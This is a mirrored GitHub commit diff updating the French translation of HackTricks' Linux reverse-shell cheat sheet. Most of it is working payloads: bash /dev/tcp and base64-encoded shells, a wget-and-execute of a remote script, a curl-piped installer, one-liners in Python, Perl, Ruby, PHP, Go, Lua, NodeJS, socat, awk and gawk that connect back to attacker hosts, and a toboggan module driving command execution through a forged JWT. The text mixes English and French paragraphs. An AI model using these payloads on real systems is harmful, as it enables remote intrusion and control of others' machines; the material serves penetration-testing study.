mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['generic-methodologies-and-resources/shells/linux.md'] to fr
This commit is contained in:
parent
e92e9d8b53
commit
52b44714a3
1 changed files with 46 additions and 52 deletions
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
@ -49,7 +49,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
1. **`bash -i`**: Cette partie de la commande démarre un shell Bash interactif (`-i`).
|
||||
2. **`>&`**: Cette partie de la commande est une notation abrégée pour **rediriger à la fois la sortie standard** (`stdout`) et **l'erreur standard** (`stderr`) vers la **même destination**.
|
||||
3. **`/dev/tcp/<IP-ATTAQUANT>/<PORT>`**: Il s'agit d'un fichier spécial qui **représente une connexion TCP à l'adresse IP et au port spécifiés**.
|
||||
* En **redirigeant les flux de sortie et d'erreur vers ce fichier**, la commande envoie efficacement la sortie de la session de shell interactive à la machine de l'attaquant.
|
||||
* En **redirigeant les flux de sortie et d'erreur vers ce fichier**, la commande envoie efficacement la sortie de la session shell interactive à la machine de l'attaquant.
|
||||
4. **`0>&1`**: Cette partie de la commande **redirige l'entrée standard (`stdin`) vers la même destination que la sortie standard (`stdout`)**.
|
||||
|
||||
### Créer dans un fichier et exécuter
|
||||
|
@ -59,9 +59,42 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## Shell Avancé
|
||||
|
||||
Si vous rencontrez une **vulnérabilité RCE** au sein d'une application web basée sur Linux, il peut arriver que **l'obtention d'un shell inversé devienne difficile** en raison de la présence de règles Iptables ou d'autres filtres. Dans de tels scénarios, envisagez de créer un shell PTY au sein du système compromis en utilisant des pipes.
|
||||
Lorsqu'il s'agit d'une vulnérabilité d'**Exécution de Code à Distance (RCE)** au sein d'une application web basée sur Linux, l'obtention d'un shell inversé peut être entravée par des défenses réseau telles que des règles iptables ou des mécanismes de filtrage de paquets complexes. Dans de tels environnements restreints, une approche alternative consiste à établir un shell PTY (Pseudo Terminal) pour interagir plus efficacement avec le système compromis.
|
||||
|
||||
Vous pouvez trouver le code sur [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
Un outil recommandé à cette fin est [toboggan](https://github.com/n3rada/toboggan.git), qui simplifie l'interaction avec l'environnement cible.
|
||||
|
||||
Pour utiliser toboggan efficacement, créez un module Python adapté au contexte RCE de votre système cible. Par exemple, un module nommé `nix.py` pourrait être structuré comme suit:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
||||
def execute(command: str, timeout: float = None) -> str:
|
||||
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
|
||||
token = jwt.encode(
|
||||
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
|
||||
)
|
||||
|
||||
response = httpx.get(
|
||||
url="https://vulnerable.io:3200",
|
||||
headers={"Authorization": f"Bearer {token}"},
|
||||
timeout=timeout,
|
||||
# ||BURP||
|
||||
verify=False,
|
||||
)
|
||||
|
||||
# Check if the request was successful
|
||||
response.raise_for_status()
|
||||
|
||||
return response.text
|
||||
```
|
||||
Et ensuite, vous pouvez exécuter :
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
Pour exploiter directement un shell interactif. Vous pouvez ajouter `-b` pour l'intégration de Burpsuite et supprimer le `-i` pour un wrapper rce plus basique.
|
||||
|
||||
|
||||
Une autre possibilité consiste à utiliser l'implémentation de shell avant `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
Il vous suffit de modifier :
|
||||
|
||||
|
@ -69,7 +102,7 @@ Il vous suffit de modifier :
|
|||
* Le préfixe et le suffixe de votre charge utile (le cas échéant)
|
||||
* La manière dont la charge utile est envoyée (en-têtes ? données ? informations supplémentaires ?)
|
||||
|
||||
Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un PTY complet (notez que les pipes sont lus et écrits avec un délai approximatif de 1,3 seconde).
|
||||
Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un PTY complet (notez que les tubes sont lus et écrits avec un délai approximatif de 1,3s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -87,7 +120,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
|||
```
|
||||
## Telnet
|
||||
|
||||
Telnet est un protocole de communication réseau qui permet d'établir une connexion à distance avec un hôte pour accéder à sa ligne de commande.
|
||||
Telnet est un protocole de communication réseau qui permet d'établir une connexion à distance avec un hôte pour accéder à sa ligne de commande. Il est souvent utilisé pour le débogage et la configuration à distance.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -115,18 +148,22 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
|
|||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration tasks, web development, and network programming. Perl scripts can be used for various hacking tasks, such as automating repetitive tasks, manipulating data, and creating custom tools.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby is a dynamic, reflective, object-oriented, general-purpose programming language. It was designed and developed in the mid-1990s by Yukihiro "Matz" Matsumoto in Japan. Ruby has a syntax that is simple and easy to read, making it a popular choice among beginners and experienced programmers alike. It supports multiple programming paradigms, including functional, object-oriented, and imperative styles. Ruby is often used for web development, automation, data analysis, and more.
|
||||
Ruby is a dynamic, open-source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write. Ruby is commonly used for web development, automation, and scripting. It is known for its flexibility and is often used in the development of web applications and software tools.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP (Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML. It is executed on the server side, meaning that the code is processed on the server before being sent to the client's web browser. PHP can perform various tasks such as collecting form data, generating dynamic page content, sending and receiving cookies, and more. It is compatible with many databases, including MySQL, PostgreSQL, Oracle, and others. PHP is known for its flexibility, ease of use, and strong community support.
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -154,8 +191,6 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
|
|||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua est un langage de script léger et puissant. Il est souvent utilisé pour l'automatisation de tâches, la création de scripts et le développement de jeux. Lua est largement utilisé dans l'industrie du jeu vidéo en raison de sa simplicité et de sa flexibilité.
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -163,39 +198,6 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','123
|
|||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## NodeJS
|
||||
|
||||
### Introduction
|
||||
|
||||
Node.js is a popular runtime environment that allows you to run JavaScript on the server-side. It is built on Chrome's V8 JavaScript engine and uses an event-driven, non-blocking I/O model, making it efficient and lightweight.
|
||||
|
||||
### Shell Spawning
|
||||
|
||||
To spawn a shell in Node.js, you can use the `child_process` module. Here is an example code snippet that spawns a shell using `exec`:
|
||||
|
||||
```javascript
|
||||
const { exec } = require('child_process');
|
||||
exec('/bin/bash', (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
console.error(`exec error: ${error}`);
|
||||
return;
|
||||
}
|
||||
console.log(`stdout: ${stdout}`);
|
||||
console.error(`stderr: ${stderr}`);
|
||||
});
|
||||
```
|
||||
|
||||
### Reverse Shell
|
||||
|
||||
You can also create a reverse shell in Node.js by connecting back to an attacker-controlled server. Here is an example code snippet that creates a reverse shell:
|
||||
|
||||
```javascript
|
||||
const { spawn } = require('child_process');
|
||||
const shell = spawn('/bin/bash', ['-c', 'exec 5<>/dev/tcp/attackerserver/80;cat <&5 | while read line; do $line 2>&5 >&5; done']);
|
||||
```
|
||||
|
||||
### Conclusion
|
||||
|
||||
Node.js provides powerful capabilities for spawning shells and creating reverse shells, making it a valuable tool for penetration testers and hackers.
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
|
@ -269,14 +271,6 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
|||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
## Awk
|
||||
|
||||
Awk est un outil de traitement de texte et de manipulation de données très puissant disponible sur les systèmes Unix et Linux. Il est souvent utilisé pour extraire et traiter des données structurées à partir de fichiers texte. Voici un exemple simple d'utilisation d'Awk pour afficher la première colonne d'un fichier CSV :
|
||||
|
||||
```bash
|
||||
awk -F ',' '{print $1}' fichier.csv
|
||||
```
|
||||
|
||||
Dans cet exemple, Awk utilise la virgule comme délimiteur (-F ',') et affiche la première colonne de chaque ligne du fichier CSV. Awk offre une grande flexibilité pour traiter les données et est un outil essentiel pour tout professionnel travaillant avec des fichiers texte sur des systèmes Unix et Linux.
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
|
@ -296,7 +290,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
|||
```
|
||||
## Gawk
|
||||
|
||||
Gawk est un langage de programmation interprété qui est souvent utilisé pour le traitement de fichiers texte et la génération de rapports. Il est également largement utilisé dans les tâches de manipulation de données et de recherche.
|
||||
Gawk est un langage de programmation qui est souvent utilisé pour le traitement de fichiers texte. Il est très puissant et flexible, et il est souvent utilisé par les hackers pour manipuler des données et automatiser des tâches. Gawk peut être utilisé pour extraire des informations spécifiques à partir de fichiers texte, effectuer des calculs, et bien plus encore. Il est un outil polyvalent qui peut être très utile lors de l'analyse de données ou de la manipulation de fichiers texte dans le cadre de tests d'intrusion.
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
|
Loading…
Reference in a new issue